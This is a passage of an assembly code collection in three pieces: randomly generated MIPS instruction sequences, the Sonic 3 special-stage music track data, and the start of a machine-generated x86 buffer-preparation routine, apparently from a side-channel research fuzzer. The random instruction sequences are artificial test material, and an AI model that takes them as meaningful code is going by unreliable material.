$1,10($0) srl $3,$4,23 addu $4,$3,$3 slt $5,$4,$3 and $3,$3,$3 slti $0,$4,-22131 srlv $4,$4,$3 sltiu $5,$5,-7337 xor $5,$0,$3 and $3,$4,$3 lw $1,8($0) or $3,$6,$3 sra $5,$6,28 subu $3,$5,$3 lh $0,0($0) srav $4,$1,$3 ori $4,$5,9641 ori $1,$4,15780 addu $6,$0,$3 sltu $3,$3,$3 sltiu $3,$3,-32124 sltu $3,$3,$3 slti $1,$3,4745 ori $3,$1,37618 sltu $5,$5,$3 lh $3,16($0) srl $4,$1,1 andi $6,$3,65241 srav $4,$4,$3 nor $1,$4,$3 lb $0,1($0) and $0,$0,$3 sllv $2,$2,$3 lw $4,16($0) sra $3,$3,31 sltiu $4,$5,-1469 xor $5,$3,$3 ori $4,$4,50027 nor $5,$2,$3 srav $6,$4,$3 or $5,$3,$3 xori $4,$3,9665 srav $3,$3,$3 sltiu $4,$4,-10286 or $3,$3,$3 lh $4,10($0) sh $3,0($0) or $1,$1,$3 sb $3,9($0) lw $4,16($0) addiu $3,$5,6419 addu $3,$1,$3 slti $3,$3,-12792 and $4,$4,$3 sb $5,14($0) addiu $4,$4,1749 srlv $3,$6,$3 sra $4,$4,10 nor $3,$4,$3 sh $5,4($0) srav $4,$2,$3 sllv $3,$0,$3 nor $3,$4,$3 andi $5,$3,7959 sb $5,2($0) slt $4,$5,$3 subu $5,$3,$3 and $3,$4,$3 addu $3,$6,$3 or $0,$0,$3 srl $3,$5,7 srl $0,$0,26 xor $3,$3,$3 sllv $4,$5,$3 sb $4,0($0) and $1,$1,$3 xori $0,$1,12533 addu $5,$4,$3 srav $1,$4,$3 lb $1,1($0) srlv $5,$2,$3 ori $5,$4,16391 subu $3,$5,$3 andi $3,$4,57040 addu $5,$0,$3 xor $4,$3,$3 sllv $0,$5,$3 subu $4,$5,$3 subu $3,$5,$3 addiu $1,$3,11333 sltiu $3,$2,26390 sra $4,$3,20 srlv $5,$5,$3 addu $3,$6,$3 lhu $4,6($0) sltiu $4,$3,-11449 subu $1,$3,$3 subu $5,$3,$3 slti $1,$3,-10238 srl $6,$5,8 and $3,$3,$3 and $1,$3,$3 and $0,$1,$3 sb $4,16($0) sra $5,$5,9 sltiu $0,$6,24906 srl $4,$3,27 sllv $1,$1,$3 nor $4,$3,$3 srav $4,$3,$3 addu $5,$3,$3 slti $3,$3,-11589 slti $5,$5,4673 subu $4,$4,$3 srav $3,$3,$3 sb $6,2($0) sll $1,$0,19 srlv $0,$3,$3 lw $0,4($0) sll $5,$3,25 addiu $3,$3,-19216 addu $3,$1,$3 subu $3,$3,$3 xor $0,$0,$3 lbu $4,13($0) addu $1,$2,$3 sb $4,13($0) srav $4,$3,$3 lw $0,0($0) sll $6,$0,1 srlv $3,$6,$3 sb $6,13($0) slt $3,$5,$3 addiu $3,$3,-23941 xor $0,$4,$3 sh $0,6($0) sb $1,5($0) lh $3,8($0) lbu $4,11($0) sltu $2,$2,$3 xor $1,$1,$3
14.060742
18
0.52088
4815fcaa377fa939562bec2e46545da4837d69e2
17,498
asm
Assembly
sound/musicasm/Special Stage.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
7
2019-12-05T00:35:57.000Z
2022-02-27T20:00:33.000Z
sound/musicasm/Special Stage.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
sound/musicasm/Special Stage.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
SpecialStage_Header: sHeaderInit ; Z80 offset is $9A84 sHeaderPatch SpecialStage_Patches sHeaderCh $06, $03 sHeaderTempo $01, $25 sHeaderDAC SpecialStage_DAC sHeaderFM SpecialStage_FM1, $00, $1A sHeaderFM SpecialStage_FM2, $00, $12 sHeaderFM SpecialStage_FM3, $00, $1A sHeaderFM SpecialStage_FM4, $00, $1A sHeaderFM SpecialStage_FM5, $00, $22 sHeaderPSG SpecialStage_PSG1, $0C, $06, $00, v0C sHeaderPSG SpecialStage_PSG2, $0C, $06, $00, v0C sHeaderPSG SpecialStage_PSG3, $00, $05, $00, v02 SpecialStage_FM1: sPatFM $01 dc.b nE5, $06, nRst, $0C, nE4, $06, nB3, nRst dc.b nE4, nRst, nFs4, nRst, nAb4, nRst, nB4, nRst dc.b nD5, nRst, nE5, nE5, nRst, nE5, nE5, nRst dc.b nE5, nE5, nRst, nD5, nRst, nD5, nD5, $0C dc.b nE5, nRst, $60 SpecialStage_Jump1: sPatFM $03 ssModZ80 $14, $01, $06, $06 sCall SpecialStage_Call1 sCall SpecialStage_Call2 sCall SpecialStage_Call3 dc.b nE6 saVolFM $06 sPatFM $04 dc.b nA6, $66, nA5, $06, nA6, nA5, nA6, $0C sCall SpecialStage_Call4 dc.b nEb4 saVolFM $FA sJump SpecialStage_Jump1 dc.b $F2 ; Unused SpecialStage_Call1: dc.b nA5, $0C, nE5, $06, nA5, nRst, nB5, nRst dc.b nC6, $02, sHold, nCs6, sHold, nD6, $08, nCs6 dc.b $06, nB5, nRst, nA5, $0C, nB5, nA5, $0C dc.b nE5, $06, nA5, nRst, nB5, nRst, nC6, $02 dc.b sHold, nCs6, sHold, nD6, $08, nCs6, $06, nB5 dc.b nRst, nA5, $18 sLoop $00, $02, SpecialStage_Call1 dc.b nFs5, $12, nAb5, nA5, $0C, nBb5, $03, sHold dc.b nB5, $09, nA5, $06, nAb5, nRst, nFs5, $12 dc.b nE5, $12, nB5, nA5, $24, nE5, $18, nFs5 dc.b $12, nAb5, nA5, $0C, nAb5, $12, nA5, nB5 dc.b $0C, nCs6, $18, nB5, nCs6, nE6 sRet SpecialStage_Call2: dc.b nFs6, $12, nFs6, nE6, $0C, nFs6, $12, nFs6 dc.b nE6, $06, nFs6, nA6, $12, nAb6, nE6, $0C dc.b nCs6, $24, nD6, $06, nE6, nFs6, $12, nFs6 dc.b nE6, $0C, nFs6, $12, nFs6, nE6, $06, nFs6 dc.b nA6, $12, nAb6, nCs7, $3C, nFs6, $12, nFs6 dc.b nE6, $0C, nFs6, $12, nFs6, nE6, $06, nFs6 dc.b nA6, $12, nAb6, nE6, $0C, nCs6, $24, nD6 dc.b $06, nE6, nFs6, $12, nFs6, nE6, $0C, nFs6 dc.b $12, nFs6, nE6, $06, nFs6, nA6, $12, nAb6 dc.b nCs7, $24, nAb6, $18, nFs6, $24, $06, nAb6 dc.b nA6, $12, nAb6, nE6, $0C, nA6, $60 sRet SpecialStage_Call3: dc.b nFs6, $24, $06, $06, $12, nE6, nD6, $0C dc.b nE6, $60, nD6, $24, $06, $06, $12, nCs6 dc.b nB5, $0C, nCs6, $48, nB5, $18, nA5, $24 dc.b $06, $06, $12, nB5, nCs6, $0C SpecialStage_Loop1: dc.b nA5, $30, $12, nB5, nCs6, $0C sLoop $00, $02, SpecialStage_Loop1 dc.b nCs6, $18, nB5, nCs6 sRet SpecialStage_Call4: dc.b nG6, $06, nE6, nD6, $0C, nD6, $02, nE6 dc.b $04, nD6, $0C, nE6, nD6, nD5, $06, nB4 dc.b nA4, nG4, nE4, nD4, nE4, nG4, nE4, nG4 dc.b nA4, nB4, nA4, nB4, nD5, nD5, $03, nE5 dc.b $09, nD5, $0C, nB4, $06, nA4, nB4, nD5 dc.b nE5, nD5, nE5, nFs5, nG5, nA5, nB5, nCs6 dc.b nD6, nCs6, nB5, nG6, nFs6, nE6, nFs6, nE6 dc.b nD6, nFs6, nE6, nD6, nCs6, $04, nD6, nCs6 dc.b nB5, $06, nA5, nFs5, nE5, nD5, nCs5, $04 dc.b nD5, $06, nCs5, $08, nB4, $06, nA4, nG4 dc.b $0C, nA4, $06, nG4, $0C, nFs4, nE4, nFs4 dc.b $06, nD4, nE4, nFs4, nG4, nA4, nB4, nG4 dc.b nA4, nCs5, nD5, nE5, nFs5, nG5, nFs5, nG5 dc.b $03, nA5, $09, nG5, $06, nE5, $0C, nD5 dc.b $06, nRst, nE5, nRst, nD5, nA4, nG4, sHold dc.b $0C, nFs4, $03, nF4, nE4 sRet SpecialStage_FM2: sPatFM $00 dc.b nRst, $12, nA2, $06, nE2, nRst, nA2, nRst dc.b nB2, nRst, nCs3, nRst, nE2, nRst, nFs2, nRst dc.b nA2, nA2, nE3, nA3, nA3, nRst, nA3, nA3 dc.b nRst, nG3, nRst, nG3, nG2, nD3, nG3, $0C dc.b nRst, $60 SpecialStage_Loop2: dc.b nA2, $12, nE3, nA2, $0C, nG2, $12, nD3 dc.b nG2, $0C sLoop $00, $04, SpecialStage_Loop2 SpecialStage_Loop3: dc.b nFs2, $12, nCs3, nFs2, $0C, nB2, $12, nFs2 dc.b nB2, $0C, nE2, $12, nB2, nE2, $0C, nA2 dc.b $12, nE3, nA2, $0C sLoop $00, $02, SpecialStage_Loop3 SpecialStage_Loop4: dc.b nD2, $12, nA2, nD3, $0C, nD2, $12, nA2 dc.b nD2, $0C, nA2, $12, nA2, $06, nRst, $0C dc.b nE2, nA2, $18, nE2 sLoop $00, $04, SpecialStage_Loop4 dc.b nD2, $12, nA2, nD2, $0C, nE2, $12, nAb2 dc.b nB2, $0C, nA2, $06, nA2, nE3, nA3, nA3 dc.b nRst, nA3, nA3, nRst, nG3, nRst, nG3, nG2 dc.b nD3, nG3, $0C SpecialStage_Loop5: dc.b nD2, $12, nA2, $06, nRst, $0C, nD3, $3C dc.b nA2, $12, nA2, $06, nRst, $0C, nA2, $3C sLoop $00, $02, SpecialStage_Loop5 dc.b nFs2, $12, nA2, $06, nRst, $0C, nCs3, $3C dc.b nF2, $12, nA2, $06, nRst, $0C, nCs3, $3C dc.b nE2, $12, nA2, $06, nRst, $0C, nCs3, $3C dc.b nA2, $18, nAb2, nFs2, nE2 SpecialStage_Loop6: dc.b nA2, $12, nE3, nA2, $0C, nG2, $12, nD3 dc.b nG2, $0C sLoop $00, $07, SpecialStage_Loop6 dc.b nA2, $12, nE3, nA2, $0C, nG2, $06, $0C dc.b nG3, $12, nA3, $0C sJump SpecialStage_Loop2 dc.b $F2 ; Unused SpecialStage_FM3: sPatFM $01 sPan spRight dc.b nA4, $06, nRst, $0C, nA3, $06, nE3, nRst dc.b nA3, nRst, nB3, nRst, nCs4, nRst, nE4, nRst dc.b nG4, nRst, nA4, nA4, nRst, nA4, nA4, nRst dc.b nA4, nA4, nRst, nG4, nRst, nG4, nG4, $0C dc.b nA4, nRst, $60 SpecialStage_Jump2: sPatFM $02 SpecialStage_Loop7: dc.b nCs4, $0C, nA3, $06, nE3, nRst, nA3, nRst dc.b nB3, $0C, nG3, $06, nG3, nG3, $0C, nD3 dc.b $06, nB3, nB3 sLoop $00, $04, SpecialStage_Loop7 SpecialStage_Loop8: dc.b nA3, $0C, nFs3, $06, nA3, nRst, nFs3, nRst dc.b nB3, $0C, nD3, $06, nD3, nFs3, $0C, nD3 dc.b $06, nFs3, nB3, nE3, $0C, nB2, $06, nB2 dc.b nRst, nE3, nRst, nA3, $0C, nE3, $06, nE3 dc.b nA3, $0C, nA2, $06, nE3, nCs3 sLoop $00, $02, SpecialStage_Loop8 SpecialStage_Loop9: dc.b nA3, $12, $06, nRst, $18 sLoop $00, $02, SpecialStage_Loop9 dc.b nCs4, $12, $06, nRst, $0C, nA3, $3C sLoop $01, $04, SpecialStage_Loop9 dc.b nA3, $30, nB3, $12, nB3, nB3, $0C sPatFM $01 dc.b nA4, $06, nA4, nRst, nA4, nA4, nRst, nA4 dc.b nA4, nRst, nG4, nRst, nG4, nG4, $0C, nA4 sPatFM $02 dc.b nA3, $60, nA3, nA3, nA3, nFs3, nF3, nE3 dc.b nA3, $18, nAb3, nFs3, nE3 SpecialStage_Loop10: dc.b nCs4, $0C, nA3, $06, nE3, nRst, nA3, nRst dc.b nB3, $0C, nG3, $06, nG3, nG3, $0C, nD3 dc.b $06, nB3, nB3 sLoop $00, $07, SpecialStage_Loop10 sPatFM $01 saVolFM $08 dc.b nE4, $12 saVolFM $FC dc.b nA4 saVolFM $FC dc.b nA4 saVolFM $FB dc.b nG4, $0C, $12, nA4, $0C saVolFM $05 sJump SpecialStage_Jump2 dc.b $F2 ; Unused SpecialStage_FM4: sPatFM $01 sPan spLeft dc.b nA5, $06, nRst, $0C, nA4, $06, nE4, nRst dc.b nA4, nRst, nB4, nRst, nCs5, nRst, nE5, nRst dc.b nG5, nRst, nA5, nA5, nRst, nA5, nA5, nRst dc.b nA5, nA5, nRst, nG5, nRst, nG5, nG5, $0C dc.b nA5, nRst, $60 SpecialStage_Jump3: sPatFM $02 SpecialStage_Loop11: dc.b nE4, $0C, nA4, $06, nCs4, nRst, nE4, nRst dc.b nD4, $12, nB3, $06, nD4, $0C, nG3, $06 dc.b nG4, nD4 sLoop $00, $04, SpecialStage_Loop11 SpecialStage_Loop12: dc.b nCs4, $0C, nFs4, $06, nCs4, nRst, nCs4, nRst dc.b nD4, $0C, nFs3, $06, nB3, nD4, $0C, nFs3 dc.b $06, nB3, nD4, nB3, $0C, nE3, $06, nAb3 dc.b nRst, nB3, nRst, nCs4, $0C, nA3, $06, nB3 dc.b nCs4, $0C, nE3, $06, nA3, nCs4 sLoop $00, $02, SpecialStage_Loop12 SpecialStage_Loop13: dc.b nFs4, $12, nFs4, $06, nRst, $18 sLoop $00, $02, SpecialStage_Loop13 dc.b nA4, $12, nA4, $06, nRst, $0C, nE4, $3C sLoop $01, $04, SpecialStage_Loop13 dc.b nFs4, $30, nAb4, $12, nAb4, nAb4, $0C sPatFM $01 dc.b nA5, $06, nA5, nRst, nA5, nA5, nRst, nA5 dc.b nA5, nRst, nG5, nRst, nG5, nG5, $0C, nA5 sPatFM $02 dc.b nFs4, $60, nE4, nD4, nCs4, nCs4, nCs4, nCs4 dc.b nCs4, $18, nB3, nA3, nAb3 SpecialStage_Loop14: dc.b nE4, $0C, nA4, $06, nCs4, nRst, nE4, nRst dc.b nD4, $12, nB3, $06, nD4, $0C, nG3, $06 dc.b nG4, nD4 sLoop $00, $07, SpecialStage_Loop14 sPatFM $01 saVolFM $08 dc.b nA4, $12 saVolFM $FC dc.b nCs5 saVolFM $FC dc.b nE5 saVolFM $FB dc.b nG5, $0C, $12, nA5, $0C saVolFM $05 sJump SpecialStage_Jump3 dc.b $F2 ; Unused SpecialStage_FM5: sPatFM $02 dc.b nA5, $06, nRst, $0C, nA4, $06, nE4, nRst dc.b nA4, nRst, nB4, nRst, nCs5, nRst, nE5, nRst dc.b nG5, nRst, nA5, nA5, nRst, nA5, nA5, nRst dc.b nA5, nA5, nRst, nG5, nRst, nG5, nG5, $0C dc.b nA5, nRst, $60 ssDetune $F8 SpecialStage_Jump4: sPatFM $03 ssModZ80 $14, $01, $06, $06 dc.b nRst, $12 sCall SpecialStage_Call1 sCall SpecialStage_Call2 sCall SpecialStage_Call3 dc.b nE6, $06 sPatFM $04 saVolFM $FB dc.b nE6, $66, nRst, $06, nE6, nRst, nE6, $0C saVolFM $0A dc.b nRst, $03 sCall SpecialStage_Call4 saVolFM $FB sJump SpecialStage_Jump4 dc.b $F2 ; Unused SpecialStage_PSG1: dc.b nRst, $12, nA2, $06, nE2, nRst, nA2, nRst dc.b nB2, nRst, nCs3, nRst, nE3, nRst, nG3, nRst dc.b nA3, nA3, nRst, nA3, nA3, nRst, nA3, nA3 dc.b nRst, nG3, nRst, nG3, nG3, $0C, nA3, nRst dc.b $60 SpecialStage_Loop15: dc.b nE2, $0C, nA2, $06, nCs2, nRst, nE2, nRst dc.b nD2, $12, nB1, $06, nD2, $0C, nG1, $06 dc.b nG2, nD2 sLoop $00, $04, SpecialStage_Loop15 SpecialStage_Loop16: dc.b nCs2, $0C, nFs2, $06, nCs2, nRst, nCs2, nRst dc.b nD2, $0C, nFs1, $06, nB1, nD2, $0C, nFs1 dc.b $06, nB1, nD2, nB1, $0C, nE1, $06, nAb1 dc.b nRst, nB1, nRst, nCs2, $0C, nA1, $06, nB1 dc.b nCs2, $0C, nE1, $06, nA1, nCs2 sLoop $00, $02, SpecialStage_Loop16 sVolEnvPSG v09 SpecialStage_Loop17: dc.b nFs2, $60, nE2, nFs2, nA2 sLoop $00, $02, SpecialStage_Loop17 dc.b nFs2, $30, nAb2, $12, nAb2, nAb2, $0C sVolEnvPSG v0C dc.b nA3, $06, nA3, nRst, nA3, nA3, nRst, nA3 dc.b nA3, nRst, nG3, nRst, nG3, nG3, $0C, nA3 sVolEnvPSG v09 sCall SpecialStage_Call5 dc.b nG1, nAb1, nA1, nBb1, nB1, nC2 saVolPSG $02 sVolEnvPSG v0C SpecialStage_Loop18: dc.b nE2, $0C, nA2, $06, nCs2, nRst, nE2, nRst dc.b nD2, $12, nB1, $06, nD2, $0C, nG1, $06 dc.b nG2, nD2 sLoop $00, $07, SpecialStage_Loop18 dc.b nE2, $0C, nA2, $06, nCs2, nRst, nE2, nRst dc.b nD2, $0C, nG2, $0C, $12, nA2, $0C sJump SpecialStage_Loop15 dc.b $F2 ; Unused SpecialStage_PSG2: dc.b nRst, $12, nA1, $06, nE1, nRst, nA1, nRst dc.b nB1, nRst, nCs2, nRst, nE2, nRst, nG2, nRst dc.b nE2, nE2, nRst, nE2, nE2, nRst, nE2, nE2 dc.b nRst, nD2, nRst, nD2, nD2, $0C, nE2, nRst dc.b $60 SpecialStage_Loop19: dc.b nCs2, $0C, nA1, $06, nE1, nRst, nA1, nRst dc.b nB1, $0C, nG1, $06, nG1, nG1, $0C, nD1 dc.b $06, nB1, nB1 sLoop $00, $04, SpecialStage_Loop19 SpecialStage_Loop20: dc.b nA1, $0C, nFs1, $06, nA1, nRst, nFs1, nRst dc.b nB1, $0C, nD1, $06, nD1, nFs1, $0C, nD1 dc.b $06, nFs1, nB1, nE1, $0C, nB0, $06, nB0 dc.b nRst, nE1, nRst, nA1, $0C, nE1, $06, nE1 dc.b nA1, $0C, nA0, $06, nE1, nCs1 sLoop $00, $02, SpecialStage_Loop20 sVolEnvPSG v09 SpecialStage_Loop21: dc.b nD2, $60, nCs2, nD2, nE2 sLoop $00, $02, SpecialStage_Loop21 dc.b nD2, $30, nE2, $12, nE2, nE2, $0C sVolEnvPSG v0C dc.b nE2, $06, nE2, nRst, nE2, nE2, nRst, nE2 dc.b nE2, nRst, nD2, nRst, nD2, nD2, $0C, nE2 sVolEnvPSG v09 ssDetune $FE saVolPSG $02 dc.b nRst, $12 sCall SpecialStage_Call5 sVolEnvPSG v0C SpecialStage_Loop22: dc.b nCs2, $0C, nA1, $06, nE1, nRst, nA1, nRst dc.b nB1, $0C, nG1, $06, nG1, nG1, $0C, nD1 dc.b $06, nB1, nB1 sLoop $00, $07, SpecialStage_Loop22 dc.b nCs2, $0C, nA1, $06, nE1, nRst, nA1, nRst dc.b nB1, $0C, nD2, $0C, $12, nCs2, $0C sJump SpecialStage_Loop19 dc.b $F2 ; Unused SpecialStage_Call5: dc.b nD2, $24, $06, $06, $12, nCs2, nB1, $0C dc.b nCs2, $60, nA1, $24, $06, $06, $12, $12 dc.b nE1, $0C, nA1, $48, nAb1, $18, nFs1, $24 dc.b $06, $06, $12, nAb1, nA1, $0C, nF1, $30 dc.b $12, nAb1, nA1, $0C, nE1, $30, $12, nAb1 dc.b nA1, $0C, nA1, $18, nAb1 saVolPSG $FE dc.b nA0, $03, nBb0, nB0, nC1, nCs1, nD1, nEb1 dc.b nE1, nF1, nFs1 sRet SpecialStage_PSG3: sNoisePSG $E7 sVolEnvPSG v02 dc.b nB6, $06, nB6 sVolEnvPSG v01 dc.b nB6, $0C SpecialStage_Loop23: sVolEnvPSG v02 dc.b nB6, $06 sVolEnvPSG v01 dc.b nB6 sVolEnvPSG v02 dc.b nB6 sVolEnvPSG v01 dc.b nB6 sLoop $00, $03, SpecialStage_Loop23 SpecialStage_Loop24: sVolEnvPSG v02 dc.b nB6, nB6 saVolPSG $FC dc.b nB6 saVolPSG $04 dc.b nB6 sLoop $00, $07, SpecialStage_Loop24 dc.b nB6, nB6, nB6 sVolEnvPSG v01 dc.b nB6 SpecialStage_Loop25: sVolEnvPSG v02 dc.b nB6, nB6 saVolPSG $FC dc.b nB6 saVolPSG $04 dc.b nB6 sLoop $00, $03, SpecialStage_Loop25 dc.b nB6, nB6, nB6 sVolEnvPSG v01 dc.b nB6 sLoop $01, $04, SpecialStage_Loop25 SpecialStage_Loop26: sVolEnvPSG v02 dc.b nB6, nB6 saVolPSG $FC dc.b nB6 saVolPSG $04 dc.b nB6 sLoop $00, $0F, SpecialStage_Loop26 dc.b nB6, nB6, nB6 sVolEnvPSG v01 dc.b nB6 SpecialStage_Loop27: sVolEnvPSG v02 dc.b nB6, $06, nB6 sVolEnvPSG v01 dc.b nB6, $0C sVolEnvPSG v02 dc.b nB6, $06, nB6 saVolPSG $FC dc.b nB6 saVolPSG $04 dc.b nB6 sLoop $00, $10, SpecialStage_Loop27 SpecialStage_Loop28: dc.b nB6, $06, nB6 saVolPSG $FC dc.b nB6 saVolPSG $04 dc.b nB6 sLoop $00, $03, SpecialStage_Loop28 dc.b nB6, $06, nB6, nB6 sVolEnvPSG v01 dc.b nB6 sVolEnvPSG v02 sLoop $01, $02, SpecialStage_Loop28 SpecialStage_Loop29: dc.b nB6, $06, nB6 saVolPSG $FC dc.b nB6 saVolPSG $04 dc.b nB6 sLoop $00, $20, SpecialStage_Loop29 SpecialStage_Loop30: sVolEnvPSG v02 dc.b nB6, nB6 saVolPSG $FC dc.b nB6 saVolPSG $04 dc.b nB6 sLoop $00, $03, SpecialStage_Loop30 dc.b nB6, nB6, nB6 sVolEnvPSG v01 dc.b nB6 sLoop $01, $08, SpecialStage_Loop30 sJump SpecialStage_Loop25 dc.b $F2 ; Unused SpecialStage_DAC: dc.b dSnare, $06, dKick, $0C, dSnare, $06, dKick, $0C dc.b dKick, dKick, dKick, dSnare, dKick, dSnare, $06, dSnare dc.b $0C, dSnare, $06, dKick, $0C, dSnare, $06, dSnare dc.b $0C, dKick, dKick, $06, dSnare, $0C, dSnare, $06 dc.b dSnare, dKick, $06, dHighTom, $03, dHighTom, dHighTom, $06 dc.b dHighTom, dMidTom, dMidTom, dMidTom, dLowTom, dLowTom, dLowTom, dKick dc.b dKick, dSnare, dKick, $12 SpecialStage_Loop31: dc.b dKick, $12, dKick, $06, dSnare, dKick, $0C, dKick dc.b dKick, $12, dSnare, $06, dKick, $12 sLoop $00, $03, SpecialStage_Loop31 dc.b dKick, $12, dKick, $06, dSnare, dKick, $0C, dKick dc.b dKick, $12, dSnare, $0C, dSnare, $06, dSnare SpecialStage_Loop32: dc.b dKick, $12, dKick, $06, dSnare, $0C, dKick, $06 dc.b dSnare, $12, dKick, $0C, dSnare, dKick, $06, dKick sLoop $00, $03, SpecialStage_Loop32 dc.b dKick, $12, dKick, $06, dSnare, $0C, dKick, dSnare dc.b dKick, dSnare, dKick SpecialStage_Loop33: dc.b dKick, $12, dKick, $06, dSnare, $0C, dKick sLoop $00, $10, SpecialStage_Loop33 dc.b dKick, $12, dKick, $06, dSnare, $0C, dKick, $12 dc.b dKick, dSnare, $06, dKick, $12, dSnare, $06, dSnare dc.b $0C, dSnare, $06, dKick, $0C, dSnare, $06, dSnare dc.b $0C, dKick, dKick, $06, dSnare, $0C, dSnare, $06 dc.b dSnare, $06 SpecialStage_Loop34: dc.b dKick, $12, dKick, dKick, $24, dSnare, $18 sLoop $00, $07, SpecialStage_Loop34 dc.b dKick, $12, dKick, $06, dSnare, $0C, dKick, $1E dc.b dKick, $06, dSnare, dSnare, dSnare, dSnare SpecialStage_Loop35: dc.b dKick, $12, dKick, $06, dSnare, dKick, $0C, dKick dc.b dKick, $12, dSnare, $06, dKick, $12 sLoop $00, $07, SpecialStage_Loop35 dc.b dKick, $06, dKick, dSnare, dKick, dKick, dSnare, $0C dc.b dSnare, $06, dKick, dHighTom, $03, dHighTom, dHighTom, $06 dc.b dHighTom, dMidTom, dMidTom, dLowTom, dLowTom sJump SpecialStage_Loop31 dc.b $F2 ; Unused SpecialStage_Patches: ; Patch $00 ; $3C ; $01, $00, $00, $00, $1F, $1F, $15, $1F ; $11, $0D, $12, $05, $07, $04, $09, $02 ; $55, $3A, $25, $1A, $1A, $80, $07, $80 spAlgorithm $04 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $00, $00, $00 spRateScale $00, $00, $00, $00 spAttackRt $1F, $15, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $11, $12, $0D, $05 spSustainLv $05, $02, $03, $01 spDecayRt $07, $09, $04, $02 spReleaseRt $05, $05, $0A, $0A spTotalLv $1A, $07, $00, $00 ; Patch $01 ; $3D ; $01, $01, $01, $01, $94, $19, $19, $19 ; $0F, $0D, $0D, $0D, $07, $04, $04, $04 ; $25, $1A, $1A, $1A, $15, $80, $80, $80 spAlgorithm $05 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $01, $01, $01, $01 spRateScale $02, $00, $00, $00 spAttackRt $14, $19, $19, $19 spAmpMod $00, $00, $00, $00 spSustainRt $0F, $0D, $0D, $0D spSustainLv $02, $01, $01, $01 spDecayRt $07, $04, $04, $04 spReleaseRt $05, $0A, $0A, $0A spTotalLv $15, $00, $00, $00 ; Patch $02 ; $03 ; $00, $D7, $33, $02, $5F, $9F, $5F, $1F ; $13, $0F, $0A, $0A, $10, $0F, $02, $09 ; $35, $15, $25, $1A, $13, $16, $15, $80 spAlgorithm $03 spFeedback $00 spDetune $00, $03, $0D, $00 spMultiple $00, $03, $07, $02 spRateScale $01, $01, $02, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $13, $0A, $0F, $0A spSustainLv $03, $02, $01, $01 spDecayRt $10, $02, $0F, $09 spReleaseRt $05, $05, $05, $0A spTotalLv $13, $15, $16, $00 ; Patch $03 ; $34 ; $00, $02, $01, $01, $1F, $1F, $1F, $1F ; $10, $06, $06, $06, $01, $06, $06, $06 ; $35, $1A, $15, $1A, $10, $80, $18, $80 spAlgorithm $04 spFeedback $06 spDetune $00, $00, $00, $00 spMultiple $00, $01, $02, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $10, $06, $06, $06 spSustainLv $03, $01, $01, $01 spDecayRt $01, $06, $06, $06 spReleaseRt $05, $05, $0A, $0A spTotalLv $10, $18, $00, $00 ; Patch $04 ; $3E ; $07, $01, $02, $01, $1F, $1F, $1F, $1F ; $0D, $06, $00, $00, $08, $06, $00, $00 ; $15, $0A, $0A, $0A, $1B, $80, $80, $80 spAlgorithm $06 spFeedback $07 spDetune $00, $00, $00, $00 spMultiple $07, $02, $01, $01 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $0D, $00, $06, $00 spSustainLv $01, $00, $00, $00 spDecayRt $08, $00, $06, $00 spReleaseRt $05, $0A, $0A, $0A spTotalLv $1B, $00, $00, $00
27.599369
75
0.6279
744b732fab073fd57a882fbf6acc5b86e8decd65
8,717
asm
Assembly
Transynther/x86/_processed/NONE/_ht_/i9-9900K_12_0xa0.log_21829_603.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_ht_/i9-9900K_12_0xa0.log_21829_603.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_ht_/i9-9900K_12_0xa0.log_21829_603.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x1b787, %rsi lea addresses_WT_ht+0xb7c3, %rdi nop add $57156, %rbp mov $51, %rcx rep movsw nop nop cmp $24317, %r8 lea addresses_UC_ht+0x17953, %r9 nop nop nop nop nop cmp $60804, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm5 movups %xmm5, (%r9) nop nop nop nop nop and $39267, %rdi lea addresses_WC_ht+0x435c, %rdi nop nop nop nop cmp %r14, %r14 movw $0x6162, (%rdi) xor $29492, %r14 lea addresses_A_ht+0x1d3b3, %rsi lea addresses_A_ht+0x10143, %rdi nop cmp $44922, %r8 mov $89, %rcx rep movsq nop nop nop sub $12384, %r8 lea addresses_WT_ht+0x14203, %r14 clflush (%r14) nop sub $62978, %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm1 movups %xmm1, (%r14) nop cmp $64817, %rsi lea addresses_normal_ht+0x9bd7, %rsi nop nop nop nop add %r8, %r8 movw $0x6162, (%rsi) nop nop and $5270, %rsi lea addresses_UC_ht+0xb3e3, %rbp inc %rsi movw $0x6162, (%rbp) nop nop xor %rcx, %rcx lea addresses_A_ht+0x1b783, %rcx nop nop nop nop nop cmp $59156, %r9 mov (%rcx), %rdi nop nop nop nop nop sub $54041, %r8 lea addresses_A_ht+0x19ed3, %rsi lea addresses_D_ht+0x1bd03, %rdi nop nop nop nop nop inc %r9 mov $92, %rcx rep movsq nop nop nop nop nop and $2921, %rdi lea addresses_WT_ht+0x9530, %r14 and $37656, %rcx mov (%r14), %r8d nop xor %rsi, %rsi lea addresses_A_ht+0x3bc3, %rsi lea addresses_D_ht+0x1c85d, %rdi add %r14, %r14 mov $59, %rcx rep movsq inc %rsi lea addresses_WT_ht+0x1e14f, %r9 nop nop 